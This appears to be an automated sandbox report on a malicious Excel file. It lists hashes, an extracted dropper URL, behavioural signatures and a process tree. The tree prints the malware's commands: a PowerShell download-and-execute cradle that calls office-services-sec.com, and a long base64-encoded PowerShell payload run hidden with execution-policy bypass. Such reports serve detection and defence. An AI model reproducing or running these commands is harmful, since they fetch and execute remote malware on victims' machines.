3b137cbbd7a33bbed25b28a49a7d05ede977ad0e8cf586873bbafcfe375ec699

General

Target

2761395201.xls
Size

1.8MB
MD5

a17e5c6d0278bc25eb69a5b39a902372
SHA1

34c74a1ee53e94fd1b782af2a21c38af6cca760c
SHA256

3b137cbbd7a33bbed25b28a49a7d05ede977ad0e8cf586873bbafcfe375ec699
SHA512

d5b000c1622d9cfb21adca877e54f01a7fc63fb2ea6d776eb59abd4a457a04371dab914cf8f1d23fe146e08d430e438ab2bb67f91b3bcacf91b28dcd82b493cb

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://office-services-sec.com/crimea.ps1

Signatures

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1388 EXCEL.EXE
1388 EXCEL.EXE
Blacklisted process makes network request 3 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

4 364 powershell.exe
7 1660 powershell.exe
8 1660 powershell.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1388 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1388 EXCEL.EXE
1388 EXCEL.EXE
1388 EXCEL.EXE

pid	process
1388	EXCEL.EXE
1388	EXCEL.EXE

flow	pid	process
4	364	powershell.exe
7	1660	powershell.exe
8	1660	powershell.exe

pid	process
1388	EXCEL.EXE

pid	process
1388	EXCEL.EXE
1388	EXCEL.EXE
1388	EXCEL.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	364	1388	powershell.exe	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXEpowershell.exe

description	pid	process	target process
PID 1388 wrote to memory of 364	1388	EXCEL.EXE	powershell.exe
PID 1388 wrote to memory of 364	1388	EXCEL.EXE	powershell.exe
PID 1388 wrote to memory of 364	1388	EXCEL.EXE	powershell.exe
PID 364 wrote to memory of 1660	364	powershell.exe	powershell.exe
PID 364 wrote to memory of 1660	364	powershell.exe	powershell.exe
PID 364 wrote to memory of 1660	364	powershell.exe	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 364 powershell.exe
Token: SeDebugPrivilege 1660 powershell.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exe

pid process

364 powershell.exe
1660 powershell.exe
1660 powershell.exe

description	pid	process
Token: SeDebugPrivilege	364	powershell.exe
Token: SeDebugPrivilege	1660	powershell.exe

pid	process
364	powershell.exe
1660	powershell.exe
1660	powershell.exe

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\2761395201.xls
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1388

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloadsTrInG'('http://office-services-sec.com/crimea.ps1')
2⤵
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:364

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AcABhAHMAdABlAC4AZQBlAC8AcgAvADUAcQA5ADIARAAnACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAIgAsACAAIgA0ADgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIwAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAGYAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8ANwBFAEIANABzACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnACQAJAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABmACkA
3⤵
- Blacklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1660

Network

MITRE ATT&CK Matrix

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

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memory/364-0-0x0000000000000000-mapping.dmp

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memory/1660-1-0x0000000000000000-mapping.dmp

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Analysis

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